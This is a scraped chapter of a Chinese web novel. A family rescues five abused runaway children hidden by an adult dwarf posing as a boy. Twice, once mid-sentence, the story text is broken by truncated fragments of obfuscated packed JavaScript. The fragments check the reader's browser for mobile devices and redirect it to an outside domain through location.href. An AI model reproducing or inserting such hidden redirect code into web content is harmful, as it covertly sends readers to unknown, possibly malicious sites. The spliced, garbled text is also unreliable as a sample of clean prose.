“方小圆,你再不开门,我就——”宋显还没说完词儿,就被宋寒承轻轻拉开了。 宋寒承一脚将门踹开! 宋显震惊了,这木门可有三寸厚,看起来巨结实。大儿子身量偏瘦,看一副单薄的书生样,居然就这么给踹开了? “你的腿没事吧?”会不会把脚踹麻了?腿踹骨折了? 宋显想去看看宋寒承的腿有没有事,一团黑影突然窜了出来,撞在他身上。 宋显疼得冷吸口气,差点以为自己的骨头被撞断了。 宋寒承揪住方小圆的衣领,将他拎起。 方小圆双脚离地后还不服气,拼命地乱蹬,很有力量感,将周围的空气带起一阵旋风。 宋显捂着肚子嘱咐宋寒承小心点,千万别被这熊孩子给踹到了。 “他的大力不输你二弟!” “老实点。”冰凉的手指轻轻扼住了方小圆的脖颈。 方小圆立刻一动不动了,任由宋寒承将他拎进屋内。 屋子里满地散乱着小孩子玩的小玩意儿,草蚂蚱、蝴蝶,鲁班锁,九连环等等。 床上被褥凌乱,躺着一个人,被子盖住了他的身躯,只有一双穿布鞋的脚露了出来。 除此之外,屋子里有一个敞开门的衣柜,一个小方桌,两把凳子,再没有其他东西了。 布鞋边缘的缝隙里有残留的白云土,宋寒承不用确认就知道那人一定是宋陆远。 宋显第一时间跑过去掀被子,确定是宋陆远后松了口气。 宋陆远双目紧闭,人虽叫不醒,但呼吸平稳,看起来只是暂时昏迷了。 “说说吧,怎么回事。”宋寒承将方小圆丢在地上,过于冷淡的语气表明他此刻的不耐烦。 方小圆畏惧地偷瞄一眼宋寒承后,磕头赔罪:“我、我想多赚点钱,就耍了点手段想从宋叔那里骗除虫水的配方,对不起!” 紧接着,方小圆就老实交代了全过程: 布条是他写的,他趁着宋显卖除虫水被三户村村民们夸奖的时候,把写了威胁话语的布条偷偷投进了钱罐子里。 两捆竹蔗也是他偷偷搬走的,在地上留下了警告的话。 宋陆远运木材回来的时候,他假装有事求助,把宋陆远骗到他家中来,让他喝了有蒙汗药的水。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15250675|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我没有伤害宋二哥的意思,我这么做的目的就是想吓唬一下宋叔,让他尽早交出除虫水的配方。” “你父母缺你钱花了?”宋寒承淡淡的目光落在方小圆身上,仿佛透过皮肉看进了灵魂。 方小圆把头低得很深,恨不得埋进地里:“不算缺,但我想要的东西太多了,不够花,就想多赚点钱。” “你的赚钱方式就靠威胁别人偷配方?”宋寒承嗤笑讥讽,“还真是‘不是一家人,不进一家门’啊。” 言外之意,方小圆跟他大哥方大山一样德行有失。 方小圆在听到这句评价后,吓得浑身颤栗,不停地对宋寒承磕头赔罪。 宋显觉得这孩子的认错态度听起来就很诚恳,磕头声音哐哐响,感觉他快把自己的头磕碎了。 “你这孩子,快别磕了,停下。” 宋显拦住了方小圆,查看他的额头,已经红肿破皮了,伤口沾着灰土,不及时清理的话很容易感染。 宋显打了水,将干净的纱布沾湿,轻轻擦拭方小圆的伤口。 方小圆起初闪躲了一下,在感受宋显对他没恶意后,才稳住身形不动。 “我看你不像是那种喜欢偷鸡摸狗的坏孩子,是不是有什么苦衷?” 方小圆眸光闪动,本来憋在眼眶里的泪水瞬间汹涌而出,似乎是委屈极了。 宋寒承冷淡看着这一幕,并没什么感觉,但也没有多加干涉。 “看来确实有苦衷了,要不要说说看?或许有解决的办法呢。”宋显循序渐进地引导方小圆。 方小圆只一味地哭,并不说。 “不要以为你年小,犯了错就可以无条件被原谅。” 宋寒承可没那个耐心就去哄方小圆,这世上有苦衷和委屈的人太多了,生活不会因为他们弱小就对他们格外开恩。 宋寒承反手就将银针扎入宋陆远的穴位,宋陆远“嗷”的一声大叫坐起,人彻底清醒了。 他有点懵看着眼前的场面,挠挠头问:“我怎么会在这?我记得我好像在赶牛车回家,怎么会到这里来?” “你的蒙汗药还有失忆的效用?”宋显问方小圆。 方小圆点点头,怯怯道:“会忘记一点刚发生的事。” 宋显惊讶:“你自己配的?” 方小圆继续点头。 宋寒承气笑了,“很好。” 他目光冷的吓人。 方小圆彻底怕了,急忙躲到宋显身边,哭着解释:“我真不是故意的,我只是一时鬼迷心窍!” “连鬼迷心窍这种词儿都会用了,李大郎把你教得很好!”宋显拍拍方小圆的脑袋。 方小圆:“……” 现在是夸这个的时候吗?要救命啊! 方小圆抱住宋显的胳膊不肯撒手,生怕离开宋显一步自己人就没了。 “你就别吓孩子了,他也是有苦衷的。” 宋显笑着把方小圆护在身侧,想问宋寒承要两块糖安慰一下孩子,宋寒承完全没有给的意思。 有点搞不清楚状况的宋陆远:“什么糖?有糖?” “苦衷?”宋寒承冷瞥一眼衣柜,“阿爹是说他藏了几个孩子的事儿吗?” 方小圆立刻挣脱宋显的怀抱,挡在衣柜前,不许任何人靠近。 更加搞不清楚状况的宋陆远:“藏孩子?在那个小衣柜吗?怎么可能啊哈哈……” “芦花村黄乡老家失踪的五个孩子是不是在你这?”宋显跟着询问方小圆。 方小圆整个人完全傻掉了,“你们怎么都知道?” 好可怕的大人们! 21.第 21 章 宋陆远又挠了挠头,什么叫“都”,他就不知道啊。 “散了满地的小玩意儿,不同孩子的笑声,还有这里。” 宋显指了指被面上三个明显大小不同的脚印。 “破绽太多,你已经暴露了。不过你如果不在布条上主动提黄家的孩子,我们也猜不到是他们。好了,快把他们叫出来。” 方小圆耷拉下脑袋,丧气不已,他以为他做的已经够隐蔽了,没想到还有这么多破绽。 宋寒承蹙眉:“还不快去。” 方小圆这才去推开衣柜的隔板,露出里面暗藏的一个土洞,土洞圆形,最宽的地方大约一尺半,只能勉强容纳身材瘦小的孩子爬过,像宋显这样成年人根本不可能爬进去。 “你们都出来吧!”方小圆对着土洞喊,满脸视死如归。 宋显被他的小表情逗笑了,摸了摸他脸颊,“没事,咱们搞清楚缘由,想办法一起解决。” 宋寒承看向宋显,他倒是对所有孩子都这么耐心温柔。 五个孩子陆续从土洞里爬了出来,个个灰头土脸,浑身脏兮兮的。 发现屋里有陌生大人在,他们都很害怕,一起抱团缩在墙角。 五个孩子年纪差不多,三男二女,身上都有伤,看伤痕形状应该是鞭伤,有新有旧。旧的已经成疤了,新的结痂刚掉,在四肢后背各处都有,密密麻麻无数条伤痕斑驳交错。 “这些伤是怎么回事?”宋显突然意识到一个很严重的问题,“你们真的都是黄乡老的孩子?” 五个孩子凑得更紧密了,有的甚至把头埋起来,只把后背对着人。他们十分畏怕陌生人,瑟瑟发抖着,一声不敢吭。 方小圆代他们回答:“是,但都是收养的孩子。” “律法重孝,父杀子无罪。姓黄的老变态因此才故意收养他们,任他怎么打骂凌辱他们,哪怕被他打死了,那都是家事,别人管不了,也抓不到他的错处。” “他们不堪折磨,徒手一点点刨土,偷偷挖了地洞,才从那虎狼窝跑了出来。” “一月前我上山砍柴时发现了他们,当时花儿妹妹浑身发热,已经昏了过去。我就把他们都带了回来。” 方小圆坦白了经过之后。战战兢兢瞄一眼宋寒承。他其实很怕宋寒承,却梗着脖子,语气始终里带着倔强。 “我知道他们是黄乡老的孩子,如果我带他们回家可能会惹麻烦,但我做不到放任他们在野外不管。” “我一人做事一人当,我可以照顾好他们。” 宋陆远哈哈笑:“臭小子,别说大话。你如果真能照顾好他们,我们怎会在这里?你带来的麻烦可不是你一个人能承担起的。” “黄乡老早就放话了,不管是谁偷或藏他的孩子,都会连坐,连坐整个村子。” 宋陆远叹口气,在背对宋显的方向,他突然冷下脸来,凑到方小圆的耳边低声说话。 “你知道的,咱们村最经不起查。” 属于武功强者的威压瞬间迫得方小圆有些喘不过气来,冷汗遍布他的脊背。 “你济贫救弱的行为倒是值得表扬。” 方小圆缓缓吸了一口气,心稍稍放了下来。 “但能力不足的善心泛滥,只会连累一群无辜者跟着丧命。” 方小圆的心又提了起来,忐忑害怕—— “你是不是以为在我们眼里,你只是个孩子,犯一次错可以被原谅?但你是吗?你以为我和我大哥看不出来你是成年人?” 宋陆远的每一句话都像一记重锤,狠狠地砸在方小圆的心头,尤其是最后一句,砸得稀巴烂。 “我我我……你们……”方小圆仿佛得了失语症,磕磕巴巴地说不出话来。 宋陆远别的事情可能看不清楚,但他是武人,最擅看人根骨,以判断其是否适合习武。 方小圆的身材一看就是侏儒,骨头已经长成很多年了。 既然连他都能看出这一点,他见微知著的大哥不可能看不出来。 全场唯一把方小圆真当孩子的人,恐怕只有他们单纯善良的好爹爹了。 宋寒承抱着双臂,淡然看着宋陆远与方小圆之间的博弈。 二弟惹来的麻烦,由二弟来解决,天经地义。毕竟他已经帮忙解决过一次了。 方小圆眼泪大颗大颗地掉,慌乱之下唯一的希望之光就是宋显了,他哭唧唧地跑回宋显怀里,诚恳认错,请求宽恕。 宋显拍了拍方小圆背,温言软语哄了他好久,还不见好,他有些恼地质问宋陆远。 “你刚对他说什么了?把孩子吓成这样?” 宋陆远嘿嘿笑,声音粗犷里透着懒洋洋:“警告他以后本分点,这么小就能惹这么大的事儿,还搞吓唬人的威胁手段,以后还了得?” 宋显对上宋陆远的眼睛。 正当宋陆远以为宋显会责怪他时,宋显点头赞许了他。 “树苗小时候不掰直,大了就长歪了,你宋二哥说你也是为你好。”宋显揉了揉方小圆的头,“你以后多跟你宋大哥和宋二哥好好学学,别小小年纪就走歪道。” 方小圆:“……”他们明明比我更可怕! 不多时,陈昌贵、李春花和村医张大夫赶了过来,三人帮着宋显给五个孩子检查身体换衣服。 宋寒承和宋陆远靠在院墙边等着。 宋寒承取了一块薄荷糖放进嘴里:“看你找的这些人,瓦合之卒。” 先是方大山,后是方小圆,毫无序律,不服管教。 宋陆远心虚地摸摸鼻子,“这不是情况紧急,临时凑不到那么多合适的人选。” “哎,你吃的什么呀?闻着好甜,快分我一块!”宋陆远伸手就跟宋寒承要糖。 “你先擦干净屁股吧。”宋寒承毫不犹豫地将一包糖稳稳地揣回自己的怀里。 宋陆远哀嚎一声,他怎么就这么惨。 他有糖的时候,被兄弟们抢光了。兄弟有糖的时候,一块都不给他。 宋显没忍住恶心,去吐了一会儿,才在厨房洗漱好后才出来。 宋寒承和宋陆远都知道宋显见不得孩子受虐,每次见了都会忍不住呕吐,也不打扰他,留给他空间平复情绪。 这时,李春花、张大夫和陈昌贵陆续屋里走了出来,三人嘴里都骂个不停。 “那黄乡老就是狗畜牲,怎么能对孩子下那么狠的手!” 张大夫摇头叹息:“唉,为什么这世道总是这些可怜的孩子遭罪?” “礼法崩坏,乱世法则是弱肉强食,人性之恶就会被发挥到极致。孩子是弱者中的弱者,更容易被欺负。” 李春花叹了口气,她看眼那边正擦手的宋显,凑到宋寒承身边,小声说:“我听说平安郡那边已经易子而食,析骸而炊了。永州郡这边表面看似太平,实则早就暗流涌动,公子打算什么时候动手?” “快了。” 平安郡在黎国最北端,那里气候寒冷,多草地,一年有半年时间都在下雪。乱世之下,那里的生存环境恶劣,百姓的日子必然过得更加疾苦。永州郡相较之下,土地富饶,情况会好很多,目前正是多方势力都想争抢的地盘。 宋寒承对朝他走来的宋显道:“我们已经商议好了,将这五个孩子送去月影山庄,那里正招收学武的孩子。张大夫与月影山庄的庄主刚好有些交情,应该会卖他这个面子。” 张大夫捻着胡子笑眯眯地点头,语气非常笃定:“你们放心,我面子大,月影山庄庄主一定会答应的。” 之所以敢这么肯定,恰是因为这位月影山庄庄主就在他眼前。 月影山庄庄主本人宋陆远:“……” 宋陆远突然灵机一动,拉着宋显到一边,笑嘻嘻地说起悄悄话来。 “那咱们上门求人,出于礼节,是不是得准备点礼物才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15255689|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对?” 宋显点点头。 “我听说那月影山庄庄主最喜欢吃甜的,阿爹做些糖当礼物送给他,他肯定会高兴,会更加善待那五个可怜的孩子。” 宋显觉得宋陆远的提议非常有道理。张大夫明天早上就带孩子们走,他立刻赶回家开做果味糖,赶在半夜的时候把糖都做好了,交到宋陆远手上。 宋陆远拿到了两包糖后高兴极了,前脚在宋显面前道别离开,后脚他就折返回来,跳窗回到了他跟宋寒承的房间。 宋陆远站在宋寒承床边,炫耀地晃着手里的两大包糖:“看,谁没有似的,我比你更多!” 宋寒承突然被吵醒,刚睁开的凤目有几分迷离:“你大半夜发疯就为这个?” “不然呢?”宋陆远得意又贱嗖嗖地晃了晃手里的两包糖。 “老二,骗来的两包糖,非君子所为,你会吃得安心?” 宋陆远愣住,突然觉得手里这两包糖有点烫手了。 宋寒承立刻收走了两包糖,对他道:“这种罪还是我替你受,快睡觉去吧。” 话毕,宋寒承就翻了身,背对着宋陆远,两包糖被他顺手收进了机关床里,非他本人,无人能开。 后知后觉的宋陆远要气跳脚了。 “还给我!还给我!” “再吵,我就喊爹了,让爹知道你在骗他,看你以后还有没有糖吃。” 宋陆远立马捂嘴噤声,憋得脸通红,他真的要被气死了!他大哥怎么能这么损啊! …… 第二天一早,白歌就带着宋济民去李春花家,一个做针线活儿,一个学读书。 宋寒承要和张大夫一起送孩子去月影山庄,也跟他们一同走了。 宋显用针线补好了丝绸袍子,顺手就将那个奇怪的椭圆形小骨头放在了桌上。 宋陆远把木板和石材都搬到温泉那边,就跑来通知宋显:“爹,咱们可以动工了。” “好。” 宋显立马出去了。 宋陆远出去前瞟见桌上的小骨头,觉得好奇,拿过来瞅了两眼。 “有点像哨子诶。” 宋陆远吹了吹,没听到声,又尝试吹了几下,还是没听到声,就把小骨头丢回了桌上。 温泉汤池的工程量不算大但繁琐,他们先要把周围树木砍了,清出一条路来用于铺设围挡和木栈道。 上午,宋显负责砍树,宋陆远负责挖树根。下午,宋陆远码头上有活儿,宋显就留下来自己继续干,找平夯实地面。 今日太阳大,午后的日头尤其毒辣,宋显干了一个时辰后就浑身冒汗,脸也被晒得通红。 先休息会儿吧。 宋显在溪水下游找了处背荫的地方,刨出一个小水坑。 他脱了衣裳,坐在小水坑里,舒服地闭上眼。 嗖—— 忽有一阵风吹拂在了他脸上,宋显不自觉地发出一声喟叹,太舒爽了呀! “兄弟,你失踪两个月了,总算吹响骨哨让我找到你了。” 突然冒出的男声把宋显被吓了一跳,他睁开眼就看见一名穿着翠衣的年轻男人站在他面前,几乎与郁郁葱葱的树林融为一体。 这男人的长相与李信之类似,黑发碧眼,五官深邃,整体样貌上比李信之更加俊逸些。 宋显慌忙用衣服挡住自己的身体。 夏雪侯轻笑,大喇喇地坐在距离宋显最近的岸边,“怎么还客气上了,你身上我哪儿没见过啊。你忘了,咱们还比过大小呢。” 宋显下意识地朝夏雪侯的某个地方看去—— 还真有点想知道他们谁更有实力。 不过,不管客观上他们谁大,在意念上他永远最大,不接受反驳! 夏雪侯见宋显还是不说话,有点急了:“怎么两个月不见,你成闷葫芦了。喂,你任务执行得怎么样了,那三个人你杀了没?”